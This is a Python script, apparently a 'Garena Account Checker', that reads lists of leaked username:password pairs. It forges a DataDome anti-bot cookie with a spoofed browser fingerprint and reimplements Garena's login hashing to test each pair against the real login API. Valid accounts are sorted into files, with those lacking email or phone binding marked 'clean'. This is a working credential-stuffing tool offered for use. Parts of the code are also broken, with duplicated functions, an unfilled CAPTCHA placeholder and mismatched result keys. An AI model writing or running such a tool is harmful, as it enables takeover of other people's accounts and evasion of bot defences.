import hashlib
import requests
from PIL import Image
from io import BytesIO
import time
import json
import os
import urllib.parse
from Crypto.Cipher import AES
import logging
import random
import cloudscraper
from colorama import init, Fore, Back, Style
init()
def clear_screen():
    os.system('cls' if os.name == 'nt' else 'clear')
def print_banner():
    banner = f"""
    {Fore.CYAN}╔══════════════════════════════════════════════╗
    ║         Garena Account Checker v1.0           ║
    ╚══════════════════════════════════════════════╝{Style.RESET_ALL}
    """
    print(banner)
def show_progress(current, total):
    percentage = (current / total) * 100
    print(f"\r{Fore.CYAN}Progress: [{('=' * int(percentage/2)).ljust(50)}] {percentage:.1f}%{Style.RESET_ALL}", end='')
logging.basicConfig(level=logging.INFO, format=f'{Fore.BLUE}%(asctime)s{Style.RESET_ALL} - %(message)s', datefmt='%H:%M:%S')
def encode(plaintext, key):
    key = bytes.fromhex(key)
    plaintext = bytes.fromhex(plaintext)
    cipher = AES.new(key, AES.MODE_ECB)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext.hex()[:32]
def get_passmd5(password):
    decoded_password = urllib.parse.unquote(password)
    return hashlib.md5(decoded_password.encode('utf-8')).hexdigest()
def hash_password(password, v1, v2):
    passmd5 = get_passmd5(password)  # This is a preliminary hashing.
    inner_hash = hashlib.sha256((passmd5 + v1).encode()).hexdigest()  # Adding v1.
    outer_hash = hashlib.sha256((inner_hash + v2).encode()).hexdigest()  # Adding v2.
    return encode(passmd5, outer_hash)
def applyck(session, cookie_str):
    session.cookies.clear()
    cookie_dict = {item.split("=")[0].strip(): item.split("=")[1].strip()
                   for item in cookie_str.split(";")}
    session.cookies.update(cookie_dict)
def get_datadome_cookie(session):
    url = 'https://dd.garena.com/js/'
    headers = {
        'accept': '*/*',
        'accept-encoding': 'gzip, deflate, br, zstd',
        'accept-language': 'en-US,en;q=0.9',
        'cache-control': 'no-cache',
        'content-type': 'application/x-www-form-urlencoded',
        'origin': 'https://account.garena.com',
        'pragma': 'no-cache',
        'referer': 'https://account.garena.com/',
        'sec-ch-ua': '"Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
        'sec-fetch-dest': 'empty',
        'sec-fetch-mode': 'cors',
        'sec-fetch-site': 'same-site',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
    }
    payload = {
        'jsData': json.dumps({
            "ttst":76.70000004768372,"ifov":False,"hc":4,"br_oh":824,"br_ow":1536,"ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36","wbd":False,"dp0":True,"tagpu":5.738121195951787,"wdif":False,"wdifrm":False,"npmtm":False,"br_h":738,"br_w":260,"isf":False,"nddc":1,"rs_h":864,"rs_w":1536,"rs_cd":24,"phe":False,"nm":False,"jsf":False,"lg":"en-US","pr":1.25,"ars_h":824,"ars_w":1536,"tz":-480,"str_ss":True,"str_ls":True,"str_idb":True,"str_odb":False,"plgod":False,"plg":5,"plgne":True,"plgre":True,"plgof":False,"plggt":False,"pltod":False,"hcovdr":False,"hcovdr2":False,"plovdr":False,"plovdr2":False,"ftsovdr":False,"ftsovdr2":False,"lb":False,"eva":33,"lo":False,"ts_mtp":0,"ts_tec":False,"ts_tsa":False,"vnd":"Google Inc.","bid":"NA","mmt":"application/pdf,text/pdf","plu":"PDF Viewer,Chrome PDF Viewer,Chromium PDF Viewer,Microsoft Edge PDF Viewer,WebKit built-in PDF","hdn":False,"awe":False,"geb":False,"dat":False,"med":"defined","aco":"probably","acots":False,"acmp":"probably","acmpts":True,"acw":"probably","acwts":False,"acma":"maybe","acmats":False,"acaa":"probably","acaats":True,"ac3":"","ac3ts":False,"acf":"probably","acfts":False,"acmp4":"maybe","acmp4ts":False,"acmp3":"probably","acmp3ts":False,"acwm":"maybe","acwmts":False,"ocpt":False,"vco":"","vcots":False,"vch":"probably","vchts":True,"vcw":"probably","vcwts":True,"vc3":"maybe","vc3ts":False,"vcmp":"","vcmpts":False,"vcq":"maybe","vcqts":False,"vc1":"probably","vc1ts":True,"dvm":8,"sqt":False,"so":"landscape-primary","bda":False,"wdw":True,"prm":True,"tzp":True,"cvs":True,"usb":True,"cap":True,"tbf":False,"lgs":True,"tpd":True
        }),
        'eventCounters': '[]',
        'jsType': 'ch',
        'cid': 'KOWn3t9QNk3dJJJEkpZJpspfb2HPZIVs0KSR7RYTscx5iO7o84cw95j40zFFG7mpfbKxmfhAOs~bM8Lr8cHia2JZ3Cq2LAn5k6XAKkONfSSad99Wu36EhKYyODGCZwae',
        'ddk': 'AE3F04AD3F0D3A462481A337485081',
        'Referer': 'https://account.garena.com/',
        'request': '/',
        'responsePage': 'origin',
        'ddv': '4.35.4'
    }
    data = '&'.join(f'{k}={urllib.parse.quote(str(v))}' for k, v in payload.items())
    try:
        response = session.post(url, headers=headers, data=data)
        response.raise_for_status()  # Raise an exception for HTTP errors
        response_json = response.json()
        if response_json['status'] == 200 and 'cookie' in response_json:  # Check the response status and if cookie is present
            cookie_string = response_json['cookie']
            datadome = cookie_string.split(';')[0].split('=')[1]
            logging.info(f"Successfully retrieved datadome: {datadome}")  # Log success
            return datadome
        else:
            logging.error(f"Error Status code: {response_json['status']}")  # Log error if status is not 200
            logging.error(f"Response: {response.text[:200]}...")  # Log the first 200 characters of the response for debugging
            return None
    except requests.exceptions.RequestException as e:  # Catch any request-related errors (e.g., network issues)
        logging.error(f"Error getting DataDome cookie: {e}")  # Log request exceptions
        return None
    except Exception as e:  # Catch any other exceptions
        logging.error(f"Unexpected error: {e}")  # Log unexpected errors
        return None
def prelogin(session, account):
    url = 'https://sso.garena.com/api/prelogin'
    params = {
        'app_id': '10100',
        'account': account,
        'format': 'json',
        'id': str(int(time.time() * 1000))
    }
    headers = {
        'accept': 'application/json, text/plain, */*',
        'accept-encoding': 'gzip, deflate, br, zstd',
        'accept-language': 'en-US,en;q=0.9',
        'cache-control': 'no-cache',
        'connection': 'keep-alive',
        'host': 'sso.garena.com',
        'pragma': 'no-cache',
        'referer': 'https://sso.garena.com/universal/login?app_id=10100&redirect_uri=https%3A%2F%2Faccount.garena.com%2F&locale=en-PH',
        'sec-ch-ua': '"Chromium";v="130", "Microsoft Edge";v="130", "Not?A_Brand";v="99"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
        'sec-fetch-dest': 'empty',
        'sec-fetch-mode': 'cors',
        'sec-fetch-site': 'same-origin',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0'
    }
    try:
        response = session.get(url, headers=headers, params=params)
        response.raise_for_status()  # Raise an exception for HTTP errors
        data = response.json()
        new_datadome = response.cookies.get('datadome')  # Retrieve the 'datadome' cookie
        if 'error' in data:  # Check for any error in the response data
            logging.error(f"{Fore.RED}[ERROR]{Style.RESET_ALL} {account}: {data['error']}")
            return None, None, new_datadome  # Return None for v1, v2 on error
        logging.info(f"{Fore.GREEN}[INFO]{Style.RESET_ALL} Prelogin successful for {account}")
        return data.get('v1'), data.get('v2'), new_datadome  # Return v1, v2 and the new datadome cookie
    except requests.exceptions.RequestException as e:  # Catch request-related exceptions
        logging.error(f"{Fore.RED}[ERROR]{Style.RESET_ALL} Prelogin failed for {account}: {e}")
        return None, None, None  # Return None for all values on failure
    except Exception as e:  # Catch any other unexpected exceptions
        logging.error(f"{Fore.RED}[ERROR]{Style.RESET_ALL} Prelogin failed for {account}: {e}")
        return None, None, None  # Return None for all values on failure
def login(session, account, password, v1, v2):
    hashed_password = hash_password(password, v1, v2)
    url = 'https://sso.garena.com/api/login'
    params = {
        'app_id': '10100',
        'account': account,
        'password': hashed_password,
        'redirect_uri': 'https://account.garena.com/',
        'format': 'json',
        'id': str(int(time.time() * 1000))
    }
    headers = {
        'accept': 'application/json, text/plain, */*',
        'referer': 'https://sso.garena.com/universal/login',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/129.0.0.0 Safari/537.36'
    }
    try:
        response = session.get(url, headers=headers, params=params)
        response.raise_for_status()
        data = response.json()
        if 'error' in data:
            logging.error(f"Login failed for {account}: {data['error']}")
            return None
        logging.info(f"Login successful for {account}")
        return response.cookies.get('sso_key')
    except requests.RequestException as e:
        logging.error(f"Login request failed for {account}: {e}")
        return None
def initaccount(session, sso_key):
    url = 'https://account.garena.com/api/account/init'
    headers = {
        'accept': '*/*',
        'cookie': f'sso_key={sso_key}',
        'referer': 'https://account.garena.com/',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/129.0.0.0 Safari/537.36'
    }
    try:
        response = session.get(url, headers=headers)
        response.raise_for_status()
        data = response.json()
        ac_session = response.cookies.get('ac_session')
        logging.info("Processing")
        return ac_session
    except requests.RequestException as e:
        logging.error(f"Processingfailed: {e}")
        return None
def parse_account_details(data):
    user_info = data.get('user_info', {})
    binds = []
    if user_info.get('email'):
        binds.append('Email')
    if user_info.get('mobile_no'):
        binds.append('Phone')
    return {
        'username': user_info.get('username', 'N/A'),
        'email': user_info.get('email', 'N/A'),
        'mobile': user_info.get('mobile_no', 'N/A'),
        'country': user_info.get('acc_country', 'N/A'),
        'binds': binds,
        'status': 'Clean' if not binds else 'Binded'
    }
def get_fresh_cookie(session):
    cookies = session.cookies.get_dict()
    return '; '.join([f"{name}={value}" for name, value in cookies.items()])
def handle_captcha():
    captcha_url = 'https://gop.captcha.garena.com/image?key={keycap}'
    response = requests.get(captcha_url)
    if response.status_code == 200:
        captcha_image = Image.open(BytesIO(response.content))
        captcha_image.show()
        captcha_text = input("Please enter the CAPTCHA: ")
        captcha_verification_url = 'https://gop.captcha.garena.com/verify'
        verification_response = requests.post(captcha_verification_url, data={'captcha': captcha_text})
        if verification_response.status_code == 200:
            return True
        else:
            logging.error("CAPTCHA verification failed.")
            return False
    else:
        logging.error("Failed to retrieve CAPTCHA image.")
        return False
def initaccount(session, sso_key):
    url = 'https://account.garena.com/api/account/init'
    headers = {
        'accept': '*/*',
        'cookie': f'sso_key={sso_key}',
        'referer': 'https://account.garena.com/',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
    }
    try:
        response = session.get(url, headers=headers)
        response.raise_for_status()
        data = response.json()
        ac_session = response.cookies.get('ac_session')
        logging.info("Processing")
        return ac_session
    except requests.RequestException as e:
        logging.error(f"Processing failed: {e}")
        return None
def parse_account_details(data):
    user_info = data.get('user_info', {})
    binds = []
    if user_info.get('email'):
        binds.append('Email')
    if user_info.get('mobile_no'):
        binds.append('Phone')
    return {
        'username': user_info.get('username', 'N/A'),
        'email': user_info.get('email', 'N/A'),
        'mobile': user_info.get('mobile_no', 'N/A'),
        'country': user_info.get('acc_country', 'N/A'),
        'binds': binds,
        'status': 'Clean' if not binds else 'Binded'
    }
def get_fresh_cookie(session):
    cookies = session.cookies.get_dict()
    return '; '.join([f"{name}={value}" for name, value in cookies.items()])
def processaccount(session, account, password):
    datadome = get_datadome_cookie(session)
    if not datadome:
        return f"{account}: Datadome Failed"
    session.cookies.set('datadome', datadome)
    v1, v2, new_datadome = prelogin(session, account)
    if not v1 or not v2:
        return f"{account}: Invalid (Prelogin failed)"
    if new_datadome:
        session.cookies.set('datadome', new_datadome)
    sso_key = login(session, account, password, v1, v2)
    if not sso_key:
        return f"{account}: Invalid (Login failed)"
    session.cookies.set('sso_key', sso_key)
    ac_session = initaccount(session, sso_key)
    if not ac_session:
        return f"{account}: Invalid (Initialization failed)"
    session.cookies.set('ac_session', ac_session)
    account_init_url = 'https://account.garena.com/api/account/init'
    headers = {
        'accept': '*/*',
        'referer': 'https://account.garena.com/',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
    }
    try:
        response = session.get(account_init_url, headers=headers)
        response.raise_for_status()
        account_data = response.json()
        if 'error' in account_data:
            if account_data.get('error') == 'error_auth':
                return f"{account}: Invalid (Authentication error)"
        return account_data
    except Exception as e:
        return f"{account}: Error fetching account data: {e}"
def image_to_ascii(image, width=50):
    try:
        image = image.convert("L")
        aspect_ratio = image.height / image.width
        new_height = int(aspect_ratio * width)
        image = image.resize((width, new_height))
        pixels = image.getdata()
        ascii_str = ""
        for pixel in pixels:
            ascii_str += '@' if pixel < 128 else ' '  # You can customize this mapping
        ascii_str_len = len(ascii_str)
        ascii_img = "\n".join(ascii_str[i:(i + width)] for i in range(0, ascii_str_len, width))
        return ascii_img
    except Exception as e:
        print(f"Error converting image to ASCII: {e}")
        return None
def save_fresh_cookie(cookie):
    with open('fresh_cookies.txt', 'a') as f:
        f.write(cookie + '\n')
def get_random_cookie():
    if os.path.exists('fresh_cookies.txt'):
        with open('fresh_cookies.txt', 'r') as f:
            cookies = f.read().splitlines()
        if cookies:
            return random.choice(cookies)
    return None
def readaccount(filename):
    session = requests.Session()
    try:
        with open(filename, 'r') as file:
            accounts = [line.strip().split(':') for line in file]
        initial_cookie = get_random_cookie()
        if not initial_cookie:
            initial_cookie = input(f"{Fore.YELLOW}[INPUT]{Style.RESET_ALL} No saved cookies found. Enter an initial cookie: ")
        current_cookie = initial_cookie
        total_accounts = len(accounts)
        for index, account_info in enumerate(accounts):
            show_progress(index + 1, total_accounts)
            if len(account_info) != 2:
                logging.warning(f"{Fore.YELLOW}[WARNING]{Style.RESET_ALL} WRONG FORMAT: {':'.join(account_info)}")
                continue
            account, password = account_info
            logging.info(f"{Fore.CYAN}[PROCESSING]{Style.RESET_ALL} {account}...")
            applyck(session, current_cookie)
            result = processaccount(session, account, password)
            if isinstance(result, dict):
                if result['is_clean']:
                    with open('clean.txt', 'a') as clean_file:
                        clean_file.write(f"{account}:{password}\n")
                    logging.info(f"{Fore.GREEN}[CLEAN]{Style.RESET_ALL} {result['account']}: Saved to clean.txt")
                else:
                    with open('binds.txt', 'a') as binds_file:
                        binds_file.write(f"{account}:{password}:{result['bind_status']}\n")
                    logging.info(f"{Fore.YELLOW}[BOUND]{Style.RESET_ALL} {result['account']}: {result['bind_status']} - Saved to binds.txt")
            else:
                with open('errors.txt', 'a') as errors_file:
                    errors_file.write(f"{account}:{password}:{result}\n")
                logging.error(f"{Fore.RED}[ERROR]{Style.RESET_ALL} {account}: {result}")
            time.sleep(0.9)
    except Exception as e:
        logging.error(f"{Fore.RED}[ERROR]{Style.RESET_ALL} Error reading accounts: {e}")
        logging.exception("Exception details:")
if __name__ == "__main__":
    clear_screen()
    print_banner()
    print(f"{Fore.YELLOW}[INPUT]{Style.RESET_ALL} Enter the filename containing accounts: ", end='')
    filename = input()
    print(f"\n{Fore.GREEN}[START]{Style.RESET_ALL} Starting account checking process...\n")
    readaccount(filename)
    print(f"\n{Fore.GREEN}[FINISHED]{Style.RESET_ALL} Account checking process completed.")